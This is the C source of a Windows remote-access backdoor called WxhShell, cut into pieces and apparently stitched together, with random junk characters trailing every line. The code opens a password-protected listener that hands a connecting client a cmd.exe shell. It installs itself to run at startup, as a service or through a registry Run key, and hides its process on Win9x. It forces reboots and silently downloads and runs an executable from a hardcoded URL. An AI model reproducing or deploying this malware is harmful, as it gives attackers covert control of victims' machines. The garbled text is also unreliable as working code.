    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WrGnLE kiV  
    else { |sReHt2)d  
    closesocket(wsh); Y!CUUWM  
    ExitThread(0); Fa )QDBz)  
    } ~x9 ]?T  
    break;  @;bBc  
    } er UYR"  
  // 获取shell c[,h|~K/_?  
  case 's': { R{H[< s+n  
    CmdShell(wsh); O1z]d3x  
    closesocket(wsh); Fye>H6MU  
    ExitThread(0); AzOs/q8O  
    break; Mu? |<#s  
  } aaR& -M@  
  // 退出 g |>LT_  
  case 'x': { H&)}Z6C"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cd}^&z  
    CloseIt(wsh); A I.(}W4]  
    break; !#c'| *k  
    } }4A] x`3  
  // 离开 ef7{D P  
  case 'q': { 4 O!2nP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qq<@;4  
    closesocket(wsh); &J>e; X  
    WSACleanup(); VVas>/0qr  
    exit(1); $a M5jH<  
    break; :R Iz6Tz  
        } S(zp_  
  } C`[<6>&y  
  } K92j BR  
%F;BL8d  
  // 提示信息 [7Lr"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vYed_'_  
} uuC ["Z  
  } MiT0!6Pg  
AW]\n;f  
  return; SMEl'y  
} x b,XI/  
PI9,*rOy  
// shell模块句柄 YB38K(  
int CmdShell(SOCKET sock) xyp{_ MZ  
{ paqGW]  
STARTUPINFO si; Jo5Bmh0  
ZeroMemory(&si,sizeof(si)); @/ z\p7e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vK',!1]y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mog >W&U  
PROCESS_INFORMATION ProcessInfo; x4MmBVqp  
char cmdline[]="cmd"; %{u@{uG0'3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )1s5vNVa  
  return 0; DrJ?bG;[  
} }"D;?$R!  
G:AA>t  
// 自身启动模式 pbH!u+DF  
int StartFromService(void) Cj-s  
{ (RddR{mX  
typedef struct ? doI6N0T  
{ yHeL&H  
  DWORD ExitStatus; 7(Fas(j3  
  DWORD PebBaseAddress; #l=yD]t PU  
  DWORD AffinityMask; %'Cj~An  
  DWORD BasePriority; 2"IV  
  ULONG UniqueProcessId;  Rb6BY-/J  
  ULONG InheritedFromUniqueProcessId; _Mw3>GNl  
}   PROCESS_BASIC_INFORMATION; }y(t')=9  
M\]lNQA  
PROCNTQSIP NtQueryInformationProcess; `"5U b,~  
CTIS}_CWd=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lw@Yn>eza  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3=O [Q:8  
\+ se%O  
  HANDLE             hProcess; \5ls <=S.  
  PROCESS_BASIC_INFORMATION pbi; Q i18q|l8v  
f:>y'#P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &*`dRIQ]  
  if(NULL == hInst ) return 0; IiPX`V>RC  
I9X \@ lTf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,^/Wv!uPE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7HPwlS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 20c5U%  
csP4Oq\g[  
  if (!NtQueryInformationProcess) return 0; F2N"aQ&  
R@c])\^]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LU6R"c11  
  if(!hProcess) return 0; UmR)L!QT8  
0D5Z#iW>1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X=QX9Ux?^  
j.=:S;  
  CloseHandle(hProcess); 9UM)"I&k  
'2^}de!E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /~,*DH$)  
if(hProcess==NULL) return 0; }U}zS@kI  
AiHU*dp6  
HMODULE hMod; &y? |$p\;/  
char procName[255]; tA(oD4H9  
unsigned long cbNeeded; F_@B ` ,  
7y Cf3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a6 Vfd&  
|f_'(-v`E  
  CloseHandle(hProcess); qiz(k:\o  
 P^te  
if(strstr(procName,"services")) return 1; // 以服务启动 ffP]U4  
"51/,D  
  return 0; // 注册表启动 3@~a)E}T  
} Z_ GGH2u  
, Q0Y} )  
// 主模块 .@{v{  
int StartWxhshell(LPSTR lpCmdLine) %bw+>:Tr  
{ 6FDj:~  
  SOCKET wsl; c/$].VG0  
BOOL val=TRUE; 5( <O?#P  
  int port=0; #Us<#"fC  
  struct sockaddr_in door; Ou[`)|>  
L } R"1O  
  if(wscfg.ws_autoins) Install(); .=:f]fs  
jU-LT8y:  
port=atoi(lpCmdLine); ?)9L($VVD  
Bw;isMx7  
if(port<=0) port=wscfg.ws_port;  )M;~j  
B  W*8  
  WSADATA data; dOv\]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; syu/"KY^!  
2S_u/32]W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )2c]Z|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?=lb@U  
  door.sin_family = AF_INET; "6C a{n1hk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;BuMzG:tmZ  
  door.sin_port = htons(port); A\?t^T  
]#NfH-T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }`CF(Do  
closesocket(wsl); !,ODczWvh  
return 1; A@o7  
} -aBhN~  
Xr^ 5Th\  
  if(listen(wsl,2) == INVALID_SOCKET) { ="]lN  
closesocket(wsl); ft7M9<#v  
return 1; 8(j]=n6 r  
} 9]N{8  
  Wxhshell(wsl); H, 3Bf  
  WSACleanup(); BcQUD?LC`  
sDs.da#*2  
return 0; >3&  
Ak3^en  
} $m ;p@#n  
Yt*NIwWr  
// 以NT服务方式启动 . AA# G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %@%rdrZ  
{ n7i~^nf>  
DWORD   status = 0; Z:^<NdKe  
  DWORD   specificError = 0xfffffff; bv <^zuV  
w}6~t\9D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q=e;P;u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hgYFR6VH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~*1Z1aZ  
  serviceStatus.dwWin32ExitCode     = 0; !0^4D=dO  
  serviceStatus.dwServiceSpecificExitCode = 0; 1\Bh-tzB  
  serviceStatus.dwCheckPoint       = 0; )+v5 H  
  serviceStatus.dwWaitHint       = 0; xK0;saG#  
Q(x=;wf5r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wY8Vc"  
  if (hServiceStatusHandle==0) return; >=rniHs=?7  
7#"y mE  
status = GetLastError(); zt]8F)l@  
  if (status!=NO_ERROR) %1cxZxGT  
{ !1S!)#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9*JxP%8T~X  
    serviceStatus.dwCheckPoint       = 0; lp d~U2&  
    serviceStatus.dwWaitHint       = 0; ZH=Bm^  
    serviceStatus.dwWin32ExitCode     = status; I_Z?'M  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^4JK4+!Zfq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ts, U T L  
    return; s,C>l_4-  
  } b* n#XTV  
F*z>B >{)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /QlzWson  
  serviceStatus.dwCheckPoint       = 0; {>64-bU  
  serviceStatus.dwWaitHint       = 0; |VE.khq#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = ?/6hB=7<  
} C<QpUJ`k  
l YdATM(h  
// 处理NT服务事件,比如:启动、停止 ;eFV}DWW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (0_]=r=q  
{ @VND}{j  
switch(fdwControl) !#5y%Bf  
{ S"+#=C  
case SERVICE_CONTROL_STOP: Pr1OQbg]8  
  serviceStatus.dwWin32ExitCode = 0; DjZTr}%q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A[Ce3m  
  serviceStatus.dwCheckPoint   = 0; ^}gZ+!kA  
  serviceStatus.dwWaitHint     = 0; HA$7Q~{N-t  
  { D!)h92CIDm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IAmMO[9H  
  } bLg gh]Fh  
  return; RXWdqaENx  
case SERVICE_CONTROL_PAUSE: frQ=BV5%6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -G1R><8[  
  break; ]]u_Mdk  
case SERVICE_CONTROL_CONTINUE: L]X Lv9J0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]G! APE  
  break; 8M['-  
case SERVICE_CONTROL_INTERROGATE: m KKa0"  
  break; N>j*{]OY+{  
}; s,laJf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)%l-jj9,  
} $reQdN=~  
MA 6uJT  
// 标准应用程序主函数 hz2f7g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dKPx3Y'  
{ #KLW&A  
> LU !Z  
// 获取操作系统版本 nzB!0U  
OsIsNt=GetOsVer(); |z)7XK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?I.bC   
h5; +5B}D  
  // 从命令行安装 =*WfS^O  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?zXlLud8  
!6+V  
  // 下载执行文件 !NhVPb,  
if(wscfg.ws_downexe) { m`,h nDp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gqAN-b'  
  WinExec(wscfg.ws_filenam,SW_HIDE); %C >Win)g  
} z)FGbX  
]"vpCL  
if(!OsIsNt) { Wc/B_F?2  
// 如果时win9x,隐藏进程并且设置为注册表启动 C:}"?tri  
HideProc(); 38RyUHL=  
StartWxhshell(lpCmdLine); e0o)Jo.P  
} }4*~*NoQ  
else `9VRT`e  
  if(StartFromService()) )9rJ]D^B  
  // 以服务方式启动  [ "Jt2  
  StartServiceCtrlDispatcher(DispatchTable); mLeK7?GL  
else 0 !F! Y_  
  // 普通方式启动 Qb1hk*$=  
  StartWxhshell(lpCmdLine); @(e/Y/  
U#n1N7P|$F  
return 0; ]A:G>K  
} &;%LTF@I,  
=&?BPhJE  
RMxFo\TK;  
+C[%^G-:  
=========================================== ,fD#)_\g2  
&B ^LaRg  
:.f m LL  
fUS1`  
H_7EK  
^/$bd4,z  
" IM~2=+  
A#Jx6T`a  
#include <stdio.h> @7,k0H9Moa  
#include <string.h> %pImCpMR  
#include <windows.h> &^^V*O  
#include <winsock2.h> 6^"Spf]  
#include <winsvc.h> j q1 |`:  
#include <urlmon.h> {3*Zx"e![  
4oRDvn7f&  
#pragma comment (lib, "Ws2_32.lib") nK9?|@S*'  
#pragma comment (lib, "urlmon.lib") #\$AB_[ot>  
PFPZ]XI%F  
#define MAX_USER   100 // 最大客户端连接数 F>[T)t{m=  
#define BUF_SOCK   200 // sock buffer {:c5/ ,7c;  
#define KEY_BUFF   255 // 输入 buffer m e&'BQ  
78/,rp#'_  
#define REBOOT     0   // 重启 X_2p C|C  
#define SHUTDOWN   1   // 关机 , FD RU  
)TzQ8YpO}  
#define DEF_PORT   5000 // 监听端口 N)^` 15w  
Q6rvTV'vv  
#define REG_LEN     16   // 注册表键长度 )lrmP(C*.a  
#define SVC_LEN     80   // NT服务名长度 |WDMyKf6J  
TnQ"c)ta  
// 从dll定义API J>p6')Y6~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )@[##F2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2*ByVK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g=]VQ;{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'CA{>\F$F+  
6-J%Z%yT #  
// wxhshell配置信息 {Etvu  
struct WSCFG { b .|k j  
  int ws_port;         // 监听端口  jWqjGX`  
  char ws_passstr[REG_LEN]; // 口令 GY wU3`{  
  int ws_autoins;       // 安装标记, 1=yes 0=no qvG@kuz8g5  
  char ws_regname[REG_LEN]; // 注册表键名 m< Y  I}  
  char ws_svcname[REG_LEN]; // 服务名 FE,BvNBZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u.dYDi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y$[:Kh,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K$/&C:,Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no liU8OXBl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FS^~e-A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VDTt}J8  
.W s\%S  
}; 6W[~@~D=  
7BkY0_KK  
// default Wxhshell configuration qV7 9bK  
struct WSCFG wscfg={DEF_PORT, xM)6'= x6  
    "xuhuanlingzhe", J"~!jrzBh(  
    1, 6|n3e,&A2  
    "Wxhshell", Hg5 :>?Lw@  
    "Wxhshell", LS]0p#  
            "WxhShell Service", $Da?)Hz'F  
    "Wrsky Windows CmdShell Service", L Iz<fB  
    "Please Input Your Password: ", C?j:+  
  1, e2^TQv2(=e  
  "http://www.wrsky.com/wxhshell.exe", !|Wf mU  
  "Wxhshell.exe" ,49Z/P  
    }; OE*Y%*b  
'^)}"sZ@G  
// 消息定义模块 8W Etm}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1xI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; < 1[K1'7h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BU#3fPl  
char *msg_ws_ext="\n\rExit."; >L ')0<!&  
char *msg_ws_end="\n\rQuit."; GZ^Qt*5 {  
char *msg_ws_boot="\n\rReboot..."; F?^L^N^  
char *msg_ws_poff="\n\rShutdown..."; cj9C6Y!  
char *msg_ws_down="\n\rSave to "; S5V:HRj{?  
'o~gT ;T#  
char *msg_ws_err="\n\rErr!"; B"8jEYT5  
char *msg_ws_ok="\n\rOK!"; 1yVhO2`7]  
v7 n@CWnN  
char ExeFile[MAX_PATH]; IC?(F]$%>  
int nUser = 0; pH3<QNq5  
HANDLE handles[MAX_USER]; Z&O6<=bg!  
int OsIsNt; K)U[xS;<  
Ss%1{s~ok  
SERVICE_STATUS       serviceStatus; AmC?qoEWQ7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cPv(VjS1;  
)+R n[MMp  
// 函数声明 <{GVA0nr  
int Install(void); A; wT`c  
int Uninstall(void); ^qnmKA>"F  
int DownloadFile(char *sURL, SOCKET wsh); "Kdn`zN{  
int Boot(int flag); $xWUzg1<U  
void HideProc(void); q k 6  
int GetOsVer(void); Z"RgqNf  
int Wxhshell(SOCKET wsl); r! HXhl  
void TalkWithClient(void *cs); S'5Zy} +x  
int CmdShell(SOCKET sock); 0Ni{UV? k  
int StartFromService(void); R3;%eyu  
int StartWxhshell(LPSTR lpCmdLine); 15hqoo9!  
px "H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zskj?+1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;0Pv49q  
NB4O,w  
// 数据结构和表定义 r5Tdp)S  
SERVICE_TABLE_ENTRY DispatchTable[] = U(9_&sL  
{ I{jvUYrKH  
{wscfg.ws_svcname, NTServiceMain}, EG;E !0  
{NULL, NULL} {eV8h}KIl  
}; !TJ,:c]4{!  
7oW Mjw\  
// 自我安装 kQ}n~Hn  
int Install(void) c%J6!\  
{ ##*]2Dy  
  char svExeFile[MAX_PATH]; dniU{v  
  HKEY key; Iz5NA0[=2  
  strcpy(svExeFile,ExeFile); kB> ~Tb0  
=y4dR#R(\  
// 如果是win9x系统,修改注册表设为自启动 ^w.hI5ua)  
if(!OsIsNt) { PmRvjSIG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yGf7k>K'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7l=;I%  
  RegCloseKey(key); 8~]D!c8;a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ||_hET  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6JDHwV  
  RegCloseKey(key); `x#Ud)g  
  return 0; K"H\gmV_ g  
    } UtQey ;w  
  } >s f g`4  
} hPDKxYD]f  
else { [d6!  
jC9us>b  
// 如果是NT以上系统,安装为系统服务 /Hyz]46  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UJ)pae  
if (schSCManager!=0) d]pb1ECuu  
{ En?V\|,  
  SC_HANDLE schService = CreateService 0N.h:21(4  
  ( 4hL%J=0:  
  schSCManager, 50W+!'  
  wscfg.ws_svcname, a/sjW  
  wscfg.ws_svcdisp, //q(v,D%Q  
  SERVICE_ALL_ACCESS, q8v[u_(yD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f"QiVJq  
  SERVICE_AUTO_START, V&M*,#(?  
  SERVICE_ERROR_NORMAL, =?<WCR C*  
  svExeFile, 3@> F-N  
  NULL, u0q$`9J  
  NULL, $;qi -K3j  
  NULL, 7K1-.uQ  
  NULL, 1F^Q*t{  
  NULL Km` SR^&\  
  ); 0 &zp  
  if (schService!=0) XA>W >|  
  { :v&[ !  
  CloseServiceHandle(schService); e1m?g&[  
  CloseServiceHandle(schSCManager); >lQo _p(;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zv u6/#  
  strcat(svExeFile,wscfg.ws_svcname); Z*%;;&?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  zUfq.   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =)[m[@,c  
  RegCloseKey(key); ,fkvvM{mq  
  return 0; -8TJ:#|N  
    } Bt+^H6cb  
  } 3Vb4zZsl  
  CloseServiceHandle(schSCManager); Gm=qn]c  
} :xh{SsW@  
} y+k_&ss  
+)Z]<O  
return 1; M tN>5k c  
} L:R4&|E/t  
D BT4 W/  
// 自我卸载 b$G{^  
int Uninstall(void) '0<d9OlJ}  
{ zC?' Qiuh*  
  HKEY key; d+9V% T  
'%N?r,x C  
if(!OsIsNt) { 2;}leZ@U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]P4WfV d  
  RegDeleteValue(key,wscfg.ws_regname); ?bTfQH vX  
  RegCloseKey(key); 44]s`QyG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )DSeXS[ e  
  RegDeleteValue(key,wscfg.ws_regname); SQp|  
  RegCloseKey(key); %( )d$.F  
  return 0; vB:\ZX4  
  } ZlT }cA/n  
} #NS|9jW  
} 4>JSZ6i#n  
else { 48^-]};  
}K{1Bm@S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ("$/sT  
if (schSCManager!=0) Ox3=1M0  
{ VUb>{&F[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GABZsdFZ!  
  if (schService!=0) zj 6I:Q r  
  { _y@ 28t  
  if(DeleteService(schService)!=0) { v88vr  
  CloseServiceHandle(schService); 2g.lb&3W  
  CloseServiceHandle(schSCManager); "J VIkC  
  return 0; L9GLj Rp-  
  } N5Js.j>z  
  CloseServiceHandle(schService); M'*s5:i  
  } tKbxC>w  
  CloseServiceHandle(schSCManager); %iyc1]w{  
} F O!Td  
} X! d-"[  
Z,&O8Jelf  
return 1; mF4W4~"  
} f56yI]*N=<  
rRTKF0+  
// 从指定url下载文件 TxrW69FV7  
int DownloadFile(char *sURL, SOCKET wsh) ~_THvx1  
{ 0~|0D#klB  
  HRESULT hr; XlppA3JON|  
char seps[]= "/"; ?]Yic]$n  
char *token; }:m#}s  
char *file; m=l>8  
char myURL[MAX_PATH]; {K^5q{u  
char myFILE[MAX_PATH]; eG=d)`.JaV  
LdUz;sb  
strcpy(myURL,sURL); ZO+RE7f*?c  
  token=strtok(myURL,seps); G[64qhTC  
  while(token!=NULL) Dri6\/0  
  { 7HkO:/  
    file=token; x]^d'o:cDP  
  token=strtok(NULL,seps); (,At5 T  
  } ~OD6K`s3  
}7PJr/IuF  
GetCurrentDirectory(MAX_PATH,myFILE); gtKih  
strcat(myFILE, "\\"); z#{Y>.b  
strcat(myFILE, file); X5WA-s(?0  
  send(wsh,myFILE,strlen(myFILE),0); E|=x+M1sH  
send(wsh,"...",3,0); $tlBI:ay1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l)r\SE1  
  if(hr==S_OK) yg\QtWW M  
return 0; )nd^@G^  
else ;~3;CijJ8  
return 1; "8QRYV~Z  
VL#:oyWA  
} g;l K34{  
fh#:j[R4e  
// 系统电源模块 aB%.]bi  
int Boot(int flag) :3F[!y3b  
{ tP_.-//  
  HANDLE hToken; ,[n9DPZ  
  TOKEN_PRIVILEGES tkp; 2)EqqX[D  
/&6{}n  
  if(OsIsNt) { /#9P0@Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9>{fsy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k$=L&id  
    tkp.PrivilegeCount = 1; (-<hx~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4m~y%> &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fb Bu^]^S  
if(flag==REBOOT) { O 0}uY:B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bI.hG32  
  return 0; 6+=_p$crMx  
} \p:)Cdn  
else { 0MpW!|E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B9l~Y/3|  
  return 0; CUDA<Fm  
} s<*+=aIfu  
  } 5$i(f8*  
  else { H~*N:$C  
if(flag==REBOOT) { cO:lpsKYQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =LGM[Z3$s  
  return 0; @Ez>?#z  
} p*K #s1  
else { Zl[EpXlZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,t_&tbf3  
  return 0; ; &rxwL  
} Qfp4}a=  
} UhR^Y{W5  
'*[7O2\%/  
return 1; '7' 73  
} H-t$A, [  
h0-.9ym  
// win9x进程隐藏模块 e O~p"d-|  
void HideProc(void) R;,5LS&*a  
{ ]G&[P8hz B  
p7+>]sqX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I3Co   
  if ( hKernel != NULL ) ,or;8aYc#  
  { 5> dA7j^v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #++:`Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1/bTwzR.g  
    FreeLibrary(hKernel); 37n2#E  
  } l_2Xao$  
m5/]+xdNX  
return; ZT"vVX- )G  
} Ag3+z+uS  
uD{^1c3x  
// 获取操作系统版本 D,$M$f1  
int GetOsVer(void) &'neOf/~  
{ RK*tZ  
  OSVERSIONINFO winfo; DZ`,QWuA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zn'Mi:O'p  
  GetVersionEx(&winfo); ZCK#=:ln  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )-XD= ]  
  return 1; <`q-#-V@  
  else ^^V+0 l  
  return 0; R {-M%n4w  
} =C#z Px,  
dtQ3iuV %  
// 客户端句柄模块 Yjy%MR  
int Wxhshell(SOCKET wsl) amQiH!}8R  
{ SA"4|#3>7  
  SOCKET wsh; <,*w$  
  struct sockaddr_in client; ?!tO'}?  
  DWORD myID; e Z L!Z!  
i'ZnU55=  
  while(nUser<MAX_USER) K-(C5 "j_  
{ 5OTZa>H  
  int nSize=sizeof(client); G]-\$>5R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mmC MsBfL  
  if(wsh==INVALID_SOCKET) return 1; rXrIGgeM  
%Zeb#//Jz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3ug>,1:6-  
if(handles[nUser]==0) n>o=RQ2  
  closesocket(wsh); AAi4} 8+\  
else `y"a>gHC  
  nUser++; vN6)Szim  
  } I'J-)D`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3cH^ ,F  
uE#"wm'J  
  return 0; N]I::  
} H'@@%nO (  
Z4k'c+  
// 关闭 socket {FN CC*=  
void CloseIt(SOCKET wsh) j3o?B  
{ rB =c  
closesocket(wsh); L>`inrpz=w  
nUser--; ` b)i;m  
ExitThread(0); BS?rKtdm(  
} ?,r}@89pY  
J32"Ytdo<  
// 客户端请求句柄 VkC1\L6  
void TalkWithClient(void *cs) SQdK`]4  
{ S2V+%Z _J  
:<6gP(  
  SOCKET wsh=(SOCKET)cs; 1?y QjW,  
  char pwd[SVC_LEN]; ATD4 %|a9h  
  char cmd[KEY_BUFF]; T mH5+  
char chr[1]; *)T7DN8  
int i,j; J)^Kls\> t  
E`q)vk   
  while (nUser < MAX_USER) { &*qAB)* *  
nsXyReWka  
if(wscfg.ws_passstr) { P7 qzZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )tx!BJiZ[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p=dM2>  
  //ZeroMemory(pwd,KEY_BUFF); NHD`c)Q  
      i=0; )Q~K\bJf  
  while(i<SVC_LEN) { ]L!:/k,=S  
o[k,{`M0  
  // 设置超时 'q{d? K  
  fd_set FdRead; oazy%n(KZ  
  struct timeval TimeOut; )VkH':yCM  
  FD_ZERO(&FdRead); 26-K:"  
  FD_SET(wsh,&FdRead); 7eyx cr;z  
  TimeOut.tv_sec=8; $$---Y   
  TimeOut.tv_usec=0; n{z!L-x^b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +{&++^(}a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wo/LrCg  
KiMEd373-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X8   
  pwd=chr[0]; +`~kt4W  
  if(chr[0]==0xd || chr[0]==0xa) { Si=u=FI1e  
  pwd=0; MY z\ R \  
  break; hR~~k~84  
  } L[}Ak1 A  
  i++; 9Z.W R-}  
    } LX;" Mz>  
hdy N   
  // 如果是非法用户,关闭 socket ~d&W;mef-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ),4c b  
} !^(?C@TQ  
8Rd*`]@[pk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PG'+vl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5VK.Zs\  
qku!Mg  
while(1) { Wt9'-"c  
LVxR *O  
  ZeroMemory(cmd,KEY_BUFF); 9\a;75a  
>Ef{e6  
      // 自动支持客户端 telnet标准   6,Y<1b*|Vo  
  j=0; l5CFm8%  
  while(j<KEY_BUFF) { "DU1k6XC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &bT \4  
  cmd[j]=chr[0]; cP`[/5R  
  if(chr[0]==0xa || chr[0]==0xd) { Q*8=^[x  
  cmd[j]=0; MXGz_Db4'  
  break; >):^Zs  
  } 2H2Yxe7?-  
  j++;  nypG  
    } ;]sbz4?  
/m(v5v7(  
  // 下载文件 %<[U\TL`  
  if(strstr(cmd,"http://")) { pF}WMt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mib<1ZM  
  if(DownloadFile(cmd,wsh)) ]U)Yg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !OL[1_-4|K  
  else o=y0=,:a?9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w4(g]9^Q  
  } ]c~W$h+F  
  else { k5/W'*P  
$hq'9}ASOL  
    switch(cmd[0]) { IT=<p60"  
  8\B]!  
  // 帮助 t?;\'  
